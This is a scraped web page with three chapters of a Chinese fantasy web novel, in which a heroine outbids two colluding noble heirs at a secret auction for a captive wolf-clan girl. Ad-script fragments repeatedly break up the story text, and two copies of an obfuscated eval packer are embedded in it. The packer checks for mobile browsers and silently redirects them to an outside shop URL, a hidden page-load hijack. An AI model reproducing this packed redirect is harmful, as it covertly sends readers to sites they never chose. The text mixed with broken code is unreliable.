{var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 察觉到她这一细微动作,自顾自地跟着人群乱猜,但没一人猜过“狼族”。 并非是他人想不到这个答案,而是狼族并非寻常散妖,是妖君麾下最得力的部下,狼族骁勇善战,且妖君带着几个大妖部族避世而居,不参与三族争斗,妖君麾下狼族鹰族及一些其他花草族都受妖君庇荫,人魔两族不可私自伤其部众,否则便视为主动打破平衡,公开向其他两族宣战。 叶清漪也不便说,她既受了公主所托,行事还是谨慎为好,盲目出头,成为众矢之的,只怕得不偿失。 这时人群中响起一个不同的答案——“狼族!” 此语一出,众人立时安静了下来,神色更是变得极其难看。 “你说什么?”掌事的脸上的笑容有些挂不住,那十个灵石的奖赏只怕是他随口一说,并没想过会有人能答出,如今却…… 叶清漪望去,只见连喜高举着手,又说了一遍:“狼族。” 一字一顿,清晰地传入在场之人的耳中。 “不可能吧!” “怎么会是狼族?” “狼族不是不在人界吗?” “谁知道呢!总之不管咱们的事,少说两句吧,免得引火上身!” 众人议论纷纷,那掌事的人面色变了又变,倒没有否认:“不错,正是狼族,这位客官答对了,这十个灵石是你的了。” 掌事人此言一出,下方反倒没有声音了。 只是少不得有那看不过去的。 清泽脸色铁青,目光阴沉,提高声音道:“如此没有下限,竟连狼族的妖都敢下手!” 掌事嘴角露出一抹阴恻恻的笑,毫无惧色:“若非如此,怎么够资格拿来做彩头呢?” 清泽气得还欲再辨,叶清漪连忙拉住他,冲他摇头:“别冲动。” 一旁那双隐在黑色面具之下的眼,不意间看到这一幕,眼底的凉意更深了。 “行了,各位也别故作姿态了,都到了这个地方,难不成你们还以为,今日做的是什么光彩交易吗?”掌事人依旧在上方大言不惭。 “那你也不能对妖君宣战!还要带上我们。”另有人喝道。 “此事只有在场之人知晓,若是有人泄露出去,那我也没办法,大不了拉上大家一起垫背。”掌事毫不在意这种轻飘飘的威胁,反而开始说服他们,“生意而已,我们带来妖灵,你们带上灵石,大家银货两讫,各取所需不好吗?何必在乎货物是什么呢?” 已经有不少人被他说动,或威逼,或利诱。 叶清漪冷眼看着这一切,没什么反应,像是早就料到会如此,反倒是边上的清泽都被气红了眼。 “不敢相信说出这种话的人竟是各门擢选出的仙徒,日后还要藉此进入内门!枉费他们在仙门修习三年,竟是连人都不如了。” 叶清漪对上他的视线:“你也算见识了,只是今日我们另有任务,不是出头的时候。” “对了,如果我们买下这狼女,是不是可以挽救她的命运,免得她被人剖腹取丹?”清泽眼睛亮了亮。 叶清漪转过身去,视线落在台上,眼神笃定:“自然!” 清泽一喜,转瞬又担忧道:“可是……二师兄也看中了此妖,且他已经比我们多出十个灵石,那我们岂不是要跟他?” 叶清漪一怔,半晌才垂眸颔首:“不错,并且,我们只能赢,不能输。” 清泽抬首,朝连喜的方向望去,过了会儿,叶清漪听到他的声音在耳边响起:“二师兄边上怎么多了位紫衣女子?这才几天,他竟又认识了别的女子?” 101. 以身入局 叶清漪淡淡扫了一眼旁边,恰好与紫玥对上视线,叶清漪愣了片刻,才察觉出紫玥认出了她,缓缓点头示意。 紫玥也点头回应了。 “怎么?你们认识啊?” “不算很熟。” “我看这女子穿着打扮不像仙门中人。” 叶清漪收回视线:“不必在意,没什么交情,如今还是投注要紧。” “好。”清泽闻言也收了心思,专心看着场上。 “投注正式开始,各位需要先完成第三轮投注,才能进入最终的彩头争夺。”掌事人宣布完规则就下去了。 一声木枢开合的响声响起,看台四周半人高的栏杆应声松动,底部尽数推出一拃距离,随即以柱基底部为基点,往看台底部合扇般收下,原本栏杆的位置便预留出一个孔洞,如此一来,便在圆形看台上留下一圈约二十几个间隔均匀的孔洞来,每个孔洞上方浮现着不同妖灵的名字。 叶清漪打眼一看便了然,该是让人投注灵石入内的。 “每个孔洞各对应了一只妖灵,每只妖灵标价不等,投注到一定灵石数后,会换一批妖灵,越往后价格越高,上不封顶,当投注人数降为三人以内,或者所有妖灵竞选完毕,还没有分出今日的胜负,那会进入最后的竞彩环节,事先声明,最终轮投注的灵石数量不作限制,众位自发自愿下场投注,因此造成的一切后果,本会概不负责。” 规则介绍完,叶清漪偏过头跟清泽讨论:“我还有一事不明,这是每一批都必须投吗?” 清泽茫然摇头,他也不太清楚。 叶清漪初步分析了一下:“按照目前介绍的规则来看,可以不用每批都投,但既然是看总金额,前面不投,后面只会越来越贵,稍有不慎,便被自动踢出局了,除非能保证有足够的灵石可以在后面一举翻盘,只是这样做风险有些高。” 清泽听得有些迷糊,花了点时间才消化了叶清漪的话中之意,待要再问,此时看台缓慢转动,投注已经开始。 叶清漪也顾不上再分析,用胳膊捅了捅清泽,道:“罢了,先看完一轮再说。” 规则虽然听上去很复杂,但实际开始投注后便一目了然。第一批妖灵价格多在一到五灵石之间,甫一开始,就有不少修士争先恐后地往孔洞内投掷灵石,整个看台匀速旋转着,平等地路过每个人的面前,狼女位于看台中央,视线也一一自众人面前扫过,有那么一瞬间,她的视线跟叶清漪不期而遇,叶清漪心里说不出的感觉,狼族虽骁勇彪悍,但狼女尚幼,未经世事,心思纯净,眼神懵懂,宛如一只受惊的小鹿。 前世叶清漪与这位狼女素未谋面,只是听说过她的遭遇,叶清漪进入魔界时狼女已经被害死了,她并没亲眼见过狼女的模样,只知狼王为此恨透了人族,铁了心要跟人族宣战,每次上朝都极力坚持要跟人族开战,曜熠多次劝说无果,又因为狼王在各大妖族中威望甚高,拥趸众多,这让原本一盘散沙的激进派初具规模,甚至开始团结一心。 当时叶清漪多半时间都在养伤,未曾亲见狼王,关于狼女的大部分事情,也都是从魔宫的妖使闲暇时的谈论中拼凑得来,狼女容绒,是狼王最疼爱的小女儿,不过一百多岁,刚刚化成人形,备受狼王和几位哥哥疼爱,万般呵护着长大,却因为轻信猎妖人,下场凄惨,妖丹被夺,尸骨全无。 从叶清漪这两世的见闻中可知,猎妖人为了得到妖丹,无所不用其极,像狼女这样修为高强、心性单纯的妖灵,多半是被诱捕,猎妖人假装受伤,引心软的妖相救,实则早已布好了捉妖的阵法,只待妖灵踏入其中。 为了保证品相,捉到妖灵后,猎妖师会以缚魔链捆之,禁锢住全部妖力,并会为其佩戴归墟草,掩藏妖气,让族人无法找到,及至被买主带走,剖腹取丹,为了不影响妖丹的效力,一般都是生时取丹,其痛苦程度,不亚于活人剖心,光是听闻都已觉得惨绝人寰,何况亲自经历一遭,当初她纵然倍感唏嘘,但到底只是耳闻,可如今狼女却活生生站在她面前,她不是一个传闻,也不是一段悲惨往事,而是有血肉有感情的生命。 不知公主让她买下狼女是为了什么,可皇城之内自有仙门结界,妖灵如何在其中存活?纵然长公主不会残害妖灵,可也不会对其多加看顾,上位者纵有仁心,也不一定会包容异族。 可她又如何能与皇室抗争?不管她想不想,这只狼女她都必须要拿下。 一番思量,投注已过两轮,前两轮都是十灵石以内的妖灵,大家投注也都格外谨慎,只象征性地投了一两只妖灵,彼此的差距也没有拉得很大。 装满各色灵石的孔洞合上又开启,内里的灵石都已被清空,上方悬浮的名字也换了全新的一批,第三轮投注正式开始。 叶清漪粗略扫了一圈,这批的妖灵大概有五百年以上的道行,标价都在二十灵石以上,并且价格从二十到八九十不等,跨度也比之前大了。 这下,场上所有人都慌了,一时乱作一团。 “照这样下去,后面的不都是几百灵石的吗?”清泽也看出了个中蹊跷。 “不错,如果这一轮不投,后面没有能投得起的妖灵,就等于自动出局了,最后一轮,与其说拼的是财力,不如说是胆气魄力,以及对整体局势的分析能力。” 清泽笑了:“如此一来可有好戏看了,好像料到大家会谨慎投注似的,你们想慢慢来,这投注场却偏不如你们意。” 叶清漪下意识看向连喜,刚才那两轮,连喜只各投了一只最低价妖灵,想是为了保底,这一轮,他会如何做呢? “那,我们要投吗?”清泽忽然开口,叶清漪连忙收回心思,从始至终连喜都没往她这边看一眼,刚才和紫玥打完招呼,紫玥与他偶有交谈,不过看样子并未提及叶清漪在此。 如此也好,她也不想让连喜知道他们要抢同一只妖灵 事到如今,还是先完成长公主所托,至于其他,她不在意也不愿分析。 “投吧!” 清泽打开了箱子, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 露出面上六颗掌心大的灵石,状如玛瑙,晶莹剔透,色泽上乘,即便在这光线较暗的楼内,也无法忽视它们的光辉。 但叶清漪并没有先动上层的灵石,而是打开上层的内盖,抓了一把底下的小颗灵石,尽数投在了一个标着二十的孔洞内。 二十颗,不多不少。 “这一轮才出手,晚了点吧!”边上一个黄衫道兄不屑一笑,并当着他们的面,隔空一点,标着七十的口子一亮,他脚边的那口箱子里的灵石顿时就少下去一块。 清泽有些气愤,叶清漪按上他的小臂:“别生事。” 之后又陆续有两人投了四十和五十五的,到此上方的排行榜上第一名的灵石数额是两百一十五,第二第三分别是一百二十五,以及一百零一十,与第一名之间差了近一百颗。 那第一便是方才那位黄衫道兄,也是进场时带了一口大箱子的那位,原本他跟后面两位的差距并不大,可适才他一下就投了一百四十颗,便从一开始的七十五涨到现在这个数额,另外两位原本是七十和六十,这轮也只各追加了一次。 原则上每个人每个孔洞投注的次数是不受限制的,每轮只有时间限制,但最好是先投注不同的妖灵,后续若要追加,再重复投之前的,既要拉开比分,也要合理分配手上的灵石。 连喜投了六十五颗,排在第六,叶清漪和其他几个道友一同位于后排,如今进入最后一轮的人本就不多,大约二十几人,有十几人都只投了十来颗,如今都是单轮比分的,还没到累计总分数的环节。 “要加吗?”清泽扶着箱盖,询问叶清漪的意思。 “让我想想。” 她箱子里是有不少,长公主也说了会无限供应灵石,但她若一开始投了太多,比分拉太大,只怕让人防备,也早早追加,到头来其实多投少投都一样,倒不如等其他人交了底,她再一股脑加上,只是不知其他人手里还有多少,尤其是连喜他们,叶清漪观连喜与紫玥并未随身携带箱子和包袱,想来灵石都收在身上,只是连喜食指处有一枚黑银戒指,看着像须弥戒,不知其中是否藏了更多的灵石。 叶清漪决定这一轮先不追加,等看看连喜那边的势头再说。 但是她第一把花了二十灵石之后,长公主那边似乎察觉到了,不知她是不舍得用灵石,还是反悔了不想投注了,命袁翀对她传音入密,问她是不是遇到什么困难,叶清漪连说没有。 袁翀又重申了一遍:“这次的事情至关重要,长公主对这个妖灵势在必得,还望姑娘不要辜负长公主所托。” “那是自然。”叶清漪用传音入密回他。 看来长公主在暗处看着一切,叶清漪自是明白,长公主吩咐的事情,自然不容她选择做还是不做,只是她不知道长公主要这只妖灵去是要留着还是杀了,若是长公主知道狼王和魔族的利害关系,将狼女拿在手里,便可以牵制狼王,直接让魔族少了一大主力。 叶清漪思绪翻飞间,场上已经又换了一轮妖灵。 102. 金玉之争 果然如清泽之前所言,这一批都是上百灵石的,如此,叶清漪便大致有了思路,这几批妖灵所标价格分为四个档次——一至五、五至十、二十至九十、一百至九百…… 清泽低呼:“再往下,岂不是要上千灵石!” 整个王都的灵石加一起也没这么多啊! 场边投注的人明显都有了迟疑。 “这就算再往里投,也是白搭啊!” “是啊!哪抵得过……灵石都成箱端的呢!” 众人颇有怨言,话里话外直指黄衫道兄。 边上这黄衫道兄虽戴着面具,但他的身份其实昭然若揭。 叶清漪默默看了她的箱子一眼,因为前面比较收敛,倒没人注意到她,说明她此前的安排是对的,只是…… 叶清漪眉心轻拧,望着又重新装满的箱子,嘴里有些发苦。 整个王都的灵石,只怕都在这里了。 那黄衫道兄脸上的半幅面具通体鎏金,其上缀满珠玉,华贵无比,单这一副鎏金面具,就够抵得上今晚在场之人投注出去的全部灵石之数了。 能有如此手笔的,除了曲阜王氏还能有谁。 当初三族达成协议,各自据守一方,仙门聚集南部,魔族迁往北部,先皇占据中部,定国号大齐,希望终有一日天下一统,三族齐心,只可惜两百年过去了,三族势力不仅没有齐心协力,反而貌合神离,甚至逐渐有分崩离析之相。 大齐王朝世家众多,其中以金、玉、叶三大世家为首,世人又戏称三大世家为金枝玉叶。 叶家位于都城冀州,金氏盘踞曲阜,玉氏居溪山 冀州城的灵石,一半在皇城,一半在金家。 金家位于城西,背靠灵矿,富可敌国,皇族有时还会问他们借钱。 金家如今与他们年岁相仿的,也只有金家三公子金有术,修行无道,谋财有术,金有术非但不是不学无术,相反,他是金家这一批里难得的修仙奇才,他大哥金有财,二哥金有颜,皆人如其名,一个一心谋财,痴迷商道,一个吟风弄月,恣意风流,本以为金家出了这两位人杰,已是百年难遇,就算之后的子弟稍有逊色也是可以理解。 在如此珠玉在前的情况下,金有术出生了。 万众期许之下,自是倍感压力,但金有术不仅没有承受压力,甚至青出于蓝,与他两位兄长都不同,金有术并不偏于哪一方,他像是受上天眷顾般,携着无数天赋出世,既有绝佳根骨,又有经商头脑,更是有勇有谋,文武双全,天之骄子,几乎没有缺点,如今已拜在归元道长门下,成了归元宗的大师兄。 在场的人里终于有人认出金有术的身份,更加坚定了放弃的心,纷纷不再投注,金有术的投注额高高挂在看台上方,他上轮后面又加了不少,现已有三百七十五颗灵石,遥遥领先。 叶清漪侧首望去,只见紫玥眉心紧拧,神态焦急,连喜目沉似水,手指若有似无地抚着指间的戒指,一时按兵不动,静观其变。 “多谢各位道友承让!”金有术不怎么有诚意地道了声谢,就准备上前领走狼女。 “且慢!” 叶清漪刚想出手,一道清丽的女声响起,一女子先她一步打断金有术,在场之人包括金有术在内都十分惊讶,纷纷侧目。 只见一身量高挑的粉衣女子越众而出,衣袂飘然,环佩叮当,薄纱覆面,长剑在手,莲步轻移,冷香幽然。 “又是你!你怎么总是坏我好事?”金有术一见那女子,顿时大惊失色,早没了刚才鄙视叶清漪的怡然自得。 那女子也不示弱,态度比金有术还傲慢:“怎么?这地方你开的?我不能来吗?” 叶清漪看得稀奇:“怎么这两人明明戴着面具,可互相都像是知道彼此是谁,且看起来似乎还很不对付。” 清泽压低声音同她解释:“此女子虽未表明身份,但观其衣着谈吐,明眼人一看便知此人出自飞云宫。” “飞云宫位于溪山,乃是玉氏地界。” “溪山玉氏如今拜入飞云宫的只有小女儿玉无眠,被宫主收为亲传弟子,是飞云宫大师姐,金玉两家向来不对付,飞云宫和归元宗又积怨已久,如今这玉无眠又公然与金有术抢夺狼女,金有术自是无比气恼。” “我取灵石耽搁了点时间,没来迟罢!”玉无眠遥遥问那个掌事的。 掌事一改之前的傲慢,对玉无眠很是温柔:“那是自然,投注还没正式结束,都不算来迟。” “这个掌事的态度转变未免太夸张了吧!”清泽忍不住说道。 叶清漪但笑不语,那掌事人望向玉无眠的眼神柔情似水,都快溢出来了。 掌事都已发话,饶是有百般不情愿,金有术也无话可说。 玉无眠也不看他,只转头望向上方的排名,眼眸垂下,对身后发令:“抬上来。” 话音落下,便有两个和玉无眠差不多装束的女弟子,领着几个师弟抬着几口大箱子上来。 领头的两个师妹抱剑对玉无眠恭敬行了一礼,之后退至一旁,几位师弟把箱子放下后,直接把所有盖子都打开了。 各色样式大小的灵石装满了几箱子,其中有不少还沾着些泥土,像是刚开采出来的。 “都忘了,除了金氏有灵矿,玉氏也有,溪山可是有不少上好的玉石灵脉。”叶清漪反应过来。 “你!”金有术指着玉无眠,半天骂不出个囫囵话,他像是忽然变了个人,自从见了玉无眠之后,他的淡定从容便消失殆尽了。 玉无眠也很知道如何激怒他,对着场上价格最高的孔洞一点,跟她灵力相符的灵石数额就瞬间浮现在上空,并迅速往左端移动,挤开三百七十五的字样,成了新的第一,数额也是今天到目前为止最多的——七百颗,将近是金有术的两倍。 玉无眠讥讽一笑:“众道友进场这么久,才投了这么点灵石吗?” 金有术脸色铁青。 “这可是鉴赏会有史以来投注最多的灵石了。”那掌事还在边上夸赞,“来人啊,给这位小姐看座。” 玉无眠施施然在掌事搬来的交椅上坐了,一位师妹又取了随身携带的碧玉壶斟了一杯茶,玉无眠接过啜饮两口才道:“寄存钱庄的灵石有限,我特命人回府去取,有些还是现开采出来的,原本还担心不够,不料竟绰绰有余,这位道兄是囊中羞涩,还是不舍得投注啊!怎地才投了这么些,未免小气。” 金有术知道玉无眠是有意激怒他,也知一味口舌之争无益,只有投注超过玉无眠,才能挽回一点脸面。 玉无眠见他犹豫,像是看透他的心思,不忘火上浇油:“道兄若是财力有限,不如就此放弃,免得赔上更多。” 堂堂金氏被说财力有限,这已经不是一局投注的事了,这可是关乎金氏家族的脸面,叶清漪轻笑:“我算是知道为何要求人人佩戴面具了。” “为何?”清泽不懂叶清漪怎么忽然说起这个。 “其一自然是为了隐藏身份,这其二,也是为了输得不要太难看,就算输了,也不至于丢尽脸面,世家大族尤其重视名声,在场又多是世家子弟,在外丢人也不能顶着自家的名义啊!” 清泽闻言连忙扫了一眼身边的人:“这么说倒也是,这些人多是看不出身份,只是这金玉两家也是奇了,穿得如此招摇,像是生怕别人不知道他们的身份似的。” 叶清漪只道:“他们两家自是有所不同。” 清泽又打量起叶清漪:“说起来,你们叶家还是世家之首,可我从你身上看不出半点世家的影子。” 叶清漪闻言心头一惊,顿了片刻才恢复如常:“我不过是叶氏旁支,因沾亲带故,才有机会进入仙山,自是没有什么世家的做派。” 清泽似信非信地点点头。 叶清漪暗暗皱眉,她并未提过她跟叶氏的关系,都城世家多如牛毛,就算她姓叶,很多人也会忽略这点,况且她不像那两位那般高调,就算有人有所猜测,也会很快否认这个想法,清泽忽然提起她的俗家身份是为何意?为何她觉得他话中带了试探之意。 叶清漪又不动声色打量了一番清泽,清这个姓氏很是少见,也不知他的名字是不是本名,该不会跟连喜一样化名吧! 想来又觉得不可能,连喜是出身魔界,才需要化名进入仙山,清泽能有什么身份,还需要化名?叶清漪越看越觉得不可能。 不过这么思量一番,叶清漪也因此多看了清泽几眼,之前一直没注意,如今才算认真看清他的模样,叶清漪前世的某一处记忆忽然清晰,她总算知道为何初次见清泽便觉得眼熟,前世后来清泽入了内门,拜在三长老拂尘名下,在新一批弟子里排名第四,是她的四师弟。只是前世叶清漪并未关注这位四师弟,虽然他时常和泽成一同出入,也会跟着她和顾长风下山办事,但对她来说只是一个寻常的师弟,她连他的名字都没什么印象,不曾想如今竟会如此熟稔。 这时人群一阵骚动,将叶清漪的思绪拉回。 众人都仰着头望着上方的排行,连同掌事也目不转睛地看着,只是掌事的眼中多了几分玩味。 叶清漪看在眼里,这掌事似乎跟玉无眠很相熟,这会儿不知怎地已经站到玉无眠的座位边上了,倒是一点也不避讳。 而他们密切关注的排行榜更是妙趣横生,开头两个数字不断变换,各自争先,由于最后一轮最少也要一百灵石,所以比分也是一百一百地往上加,别说其他人了,叶清漪自诩见过些世面,也被这一幕惊到了。 待追赶的速度缓下来时,两人的灵石已经高达千位数了。 玉无眠身后的箱子也空了两只,剩下那只的灵石也下去一半了,不过玉无眠还算气定神闲。 相比之下,金有术就没那么轻松了,额角甚至已经渗出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13887611|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细密的汗珠。 “还要加吗?”玉无眠挑眉看向他。 金有术不言,只满腹怒气地望着她。 “如今场上最高得分为一千七百颗,第二名一千四百颗,相比第一只略差三百,这位道兄还要追加吗?” 原本一直望着玉无眠的金有术,闻言将视线缓缓移到掌事身上。 叶清漪忍俊不禁,不知为何,她从这金有术的背影里竟读出几分沉默。 “除了这两位,场上还有其他道友要追加吗?”面对金有术的怨念,掌事犹自不觉,还转头问起其他人。 叶清漪环顾左右,众人皆面有犹豫,彼此张望,叶清漪抬眼看向清泽,对方立即会意,打开隔层交给叶清漪,可当他看到重新满上的箱子,不禁瞪大了眼:“这是什么情况?你刚不是用了一大把吗?” 叶清漪不好意思地清了清嗓子,只好沿着之前的说法解释:“咳咳,我的好友在其上略施法术,又给我加了一些。” 清泽依旧觉得震惊。 “你不必在意这些,先去吧!”叶清漪摆摆手示意他上前,又高声道,“这里有人要投!” 话音刚落,在场之人纷纷看过来。 清泽却有些犹豫:“真的要全倒了吗?” “都到这一步了,肯定全用了。”叶清漪指了指手里的托盘,这不是还有大颗的嘛! “我倒忘了。”为了隐蔽起见,那些完整的灵石被她收在怀里了,她手里的托盘是空的,清泽一时便忘了这点,经叶清漪提醒才想起,便是有些不舍,也只好照做,在众人的注视下捧着箱子上前。 叶清漪注意到在她开口前,连喜也正准备举手,并且她还发现连喜的金额已经默默追赶上来,位列第三了,只是场上的注意力都在金玉二人身上,并未注意到此。 连喜则在此刻终于看到叶清漪的所在,即便她薄衫覆面,连喜也是一眼认出,一如叶清漪认出连喜那般,何况紫玥才跟她认识几日都能一眼认出她。连喜的脸色有些许不自然,不知是看到她和清泽形影不离,还是因为旁的,毕竟才分别几日,叶清漪就出手阔绰,一时也让他有些陌生,更多的是失落,叶清漪已经有了他不知道的遭遇,他们不再参与彼此的生活,对各自的近况也一无所知了。 再说回投注场这边,清泽捧着一方小箱子上前,原本有些呆滞的人群又恢复了躁动,多数人面露不屑,就这么一小箱子,还想争上一争,不如别拿出来,免得过于丢人。 金玉二人的神情却很耐人寻味,并未像旁人那般鄙夷,倒是有几分说不上来的担忧。 叶清漪看得倒稀奇,难不成这两位竟在为她担心,怕她财力不足吗? 这念头一起,叶清漪初初觉得好笑,紧接着猛然一惊,原来如此! 想通关窍后,再度审视那针锋相对的三人,一切便说得通了。 可即便知道其中蹊跷,她也没得选择。 这时清泽已经走到标注五百字样的孔洞面前,将灵石倾倒入内。 其他人更神情轻慢,语气揶揄。 “这人有时候就得有自知之明,我们都知道现在什么境况,都没有出手,偏有那不自量力的人,想出风头又没实力,投也只敢投五百的,都不敢往大了投。” “那可不得量力而行,若是选了大的,一盒全倒完了,还倒欠几百灵石,还要以身抵债,岂不是得不偿失!” 还有人阴阳怪气,看似劝和实则嘲讽:“二位别说了,人家上赶着给获胜者送灵石,道友何必坏人好事!要知道今夜全部的灵石,连同这彩头一起,都归最终获胜者所有。” 几人一说一和,越来越难听。 叶清漪压根不在意,只关注着投注的情况,她知道很快这些人都会闭嘴。 这时其他人也都转而关注清泽,只见随着他的动作,大大小小的灵石倾泻而出,如彩线一般落入洞中,很快便尽数倒完,如珠的彩线顿时断了,围观之人纷纷露出讥讽的表情,掌事和金玉两位也背过身不再看。 这时,不知是谁喊了一句:“快看!又来了!!!” 众人再次抬头,掌事和金玉二人也转过身来,所有人都看着场上。只见方才断了的彩线又续上了,清泽依旧保持着刚才的姿势,源源不断的灵石从箱口倒出,竟像是永远也倒不完。 所有人都傻眼了。 清泽也是,原本他已经打算把箱子收起来了,就在他准备合上的瞬间,手里的箱子似有异动,下一刻,第二波灵石就出来了。 排行榜上的数额是和投注人对应的,虽然没有名字,但是它和投注人的灵力是一样的,属于叶清漪的数额正飞速增长,不断超越前排,急速攀登,很快就涨到了一千五百颗,甚至已经超过了原本位列第二的金有术。 金有术脸色更难看了,被一个人超了就算了,如今竟连着被两个人赶超,传出去他还怎么做人! 103. 并肩作战 这是什么情况?所有人都傻了,怎么还有这样的? 如今场上排名为最高得分玉无眠一千七百颗,第二名叶清漪一千五百颗,第三名金有术一千两百颗,第四名连喜一千一百颗。 金有术一看,怎么还有人追上来了?他不会掉到第四去吧!再一再二不再三,这下他一世英名可是真的不保了。 那金有术脸色还是有些难看,相比之下,倒是玉无眠眼中浮现一丝玩味,倒觉得越发有趣起来。 “这位师姐还真是深藏不露啊!看来今夜还有一些意思。”那金有术横了她一眼,默默吃瘪。 叶清漪将这一切看在眼里,这再一次证明了她之前的猜测——这金玉二人哪是什么冤家对头?分明是狼狈为奸,他们看似互相争夺,水火不容,实则哄抬价格,渲染氛围,为的是吸引更多的人争相投入,最后再由他们其中一位再次加价,将所有灵石尽数收入囊中,再行分成。 这只怕是他们屡试不爽的老套路了,这个妖丹鉴赏会的举办只怕也跟他们两家脱不了干系。 可即便知道他们的阴谋,叶清漪也不得不追加,并且她需要完全赢得这场投注,将所有的灵石都赢回来。尽管这对长公主来说不算什么,但她必须要让做局的人知道,人有失策,马有失蹄,算计人者终被算计。 一旁的连喜也看得饶有趣味,看向叶清漪的眼里还带了几分欣赏。 如今这场投注鉴赏会已经变成了他们四人的争夺。 “看来这个椅子我是坐不了很久了,不如早点让给旁人。” 直到玉无眠站起身,那掌事的才回过神来,想起再次宣布规则,他先把排名重新读了一遍,又问了一遍,还有没有要追加的。 叶清漪看着自己的分数,只要再投一次,就可以越过玉无眠,玉无眠也深知这个情况,于是她大手一挥:“来人,把所有灵石都倒进去。” 身后的师弟们依言照做,两人抬着箱子将仅有的灵石全部到了,如今倒哪个坑已经不算什么了,现在拼的已经是总分了。而当玉无眠所有的灵石倒完之后,她的分数也从一千七百颗变成了三千颗。 这下周围的人又开始冷嘲热讽。 “看样子还是玉氏更有实力,三千颗灵石,谅她也拿不出来这么多!” “就是!难不成刚才的把戏她还能再来一次?我看那不过是障眼法罢了,如今功法既破,指不定这个分数还往回倒呢!” 清泽已经退了回来,低声问叶清漪还要不要继续。叶清漪想了想,已经到这一步了,她没得选,看这情形,连喜似乎没有要出手的意思,不知是打算罢手,还是等着最后一举拿下。清泽眼神询问看向叶清漪。 “罢了,你不用管。”叶清漪隔空摸了摸怀里的灵石,她一共有六颗,一颗大概能抵一千颗灵石,但是她不确定玉氏有没有比六千颗更多的灵石,可事到如今,她只能应战,她已经没有退路了。 于是她又接连往里面投了两颗。 那些人见她只投了两颗灵石,虽然有些大,但还是很鄙夷:“就这么两颗有什么用啊!”“就是!” 说完头顶的排行榜上,叶清漪的分数就从一千五百颗变成了三千五百颗。 这下在场之人,连同掌事、金有术、玉无眠都震惊了! 什么灵石能抵一千颗? 有人认出来:“这难道是……原生灵石?!!” “原生灵石,那可是百年难遇啊!现如今已经很少见到原生灵石了,这灵石这么大,还是一整颗的,难怪这么值钱!” 叶清漪立在当场,接受着各种目光的洗礼。 不错,自从灵石的用途变得广泛之后,需求也变高了,光靠原生灵石已经不够流通使用,修士们便开始炼制灵石,一级一级合成,低品质合成高品质,碎石合成整颗灵石,灵石品质优劣完全靠炼化技术界定。 原生灵石,这几十年间出现在市面上的,也不足十颗,叶清漪竟一下子拿出两颗。这下再没人敢多说什么,先前说过叶清漪闲话的人,此时都噤若寒蝉,生怕惹叶清漪再想起他们来。 玉无眠脸色也难看不少,下意识跟金有术交换了眼神,金有术眼神甚至有些闪躲。 如果他们不能拿出更多的灵石,只怕要血本无归了。 可他们也不敢贸然加价,原生灵石固然稀有,他们没有足够的灵石是一方面,另一方面,则是叶清漪这灵石的来历,以及她背后的势力。 不过倒没人敢往长公主身上猜,只以为她是什么勋贵之后,更怕的是得知鉴赏会内情,想要跟他们分一杯羹的人。亦或者是其他世家,来砸场子的。 玉无眠暗暗递给掌事一个眼神,对方立即会意,笑着上前:“看来果真是真人不露相啊!既然如此,还有人要出更多灵石的吗?若是没有,今天第三轮的获胜者便是这位道姑了。” 众人面面相觑,自是没有异议。掌事又看向金有术玉无眠二人,两人也没要加的意思。 反倒是叶清漪开始担心连喜,只见他摩挲着黑银戒指,神情若有所思,见叶清漪看过去,他抬眼对上叶清漪的视线,没有什么波动,二人的视线在半空交汇,终又移开,像一场不留痕迹的初雪。 此时一阵锣声响起,叶清漪回过神,只见掌事拿着锤子敲响铜锣,宣告投注终止。 “各位,本届鉴赏会全部投注到此便结束了,原本我们还需要花些时间统计,介于这位道姑最终的灵石数额是三千五百颗,已经远远超过前两轮最高分,便是当之无愧的三轮投注的最终获胜者。”掌事的说着对叶清漪伸出手示意,“那便请这位道姑上台来领走这终极彩头吧!” 叶清漪还没从连喜放弃追加的事情中回过神来,只觉得一切太过轻松,玉无眠会这么轻易就放弃了,毕竟除了狼女,还有她投下的一千多颗灵石呢!叶清漪心里还是隐隐有些不安。 一旁的清泽捅了捅她:“还愣着干什么?叫你上去了。” 叶清漪只好上去。 这时,她不期跟狼女对上视线,狼女一改之前的懵懂,变得狂躁起来,拼命挣扎,想要挣脱锁链。 叶清漪有些意外。 掌事的很快拉住狼女,对叶清漪赔着笑:“无妨,她只是有些激动,待会儿给她压一张符纸,再交给你一个牵制符咒,必定让她乖乖听话,不会让她伤到你的。” 叶清漪正走上台阶,那狼女已经作势要扑到她脚边,十分反常。 围观之人也都纷纷退开,生怕伤到自己。 叶清漪盯着狼女的眼,那狼女瞳仁本是青褐色,如今却变成了血红。 “她这是?” 叶清漪话还没说完,狼女忽然挣脱开束缚,直接朝她扑过来。 电光火石间,叶清漪不及反应,竟一时愣在当场。 她大脑瞬间一片空白,只听得到围观之人的低呼,却挪不动半点脚步。 恍惚间,掌事、玉无眠、金有术三人的眼神一一自她眼前掠过,她瞬间就明白了,他们在她来的路上施了术法,让她动弹不得,那掌事的看似是拉住狼女,实则偷偷给狼女解开了锁链。 是她大意了。 眼看狼女即将扑到身前,她已经做好了被咬一口的准备,千钧一发之际,一道力隔空拉了她一把,她身子一歪,腾空而起,将将与狼女的利爪擦肩而过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 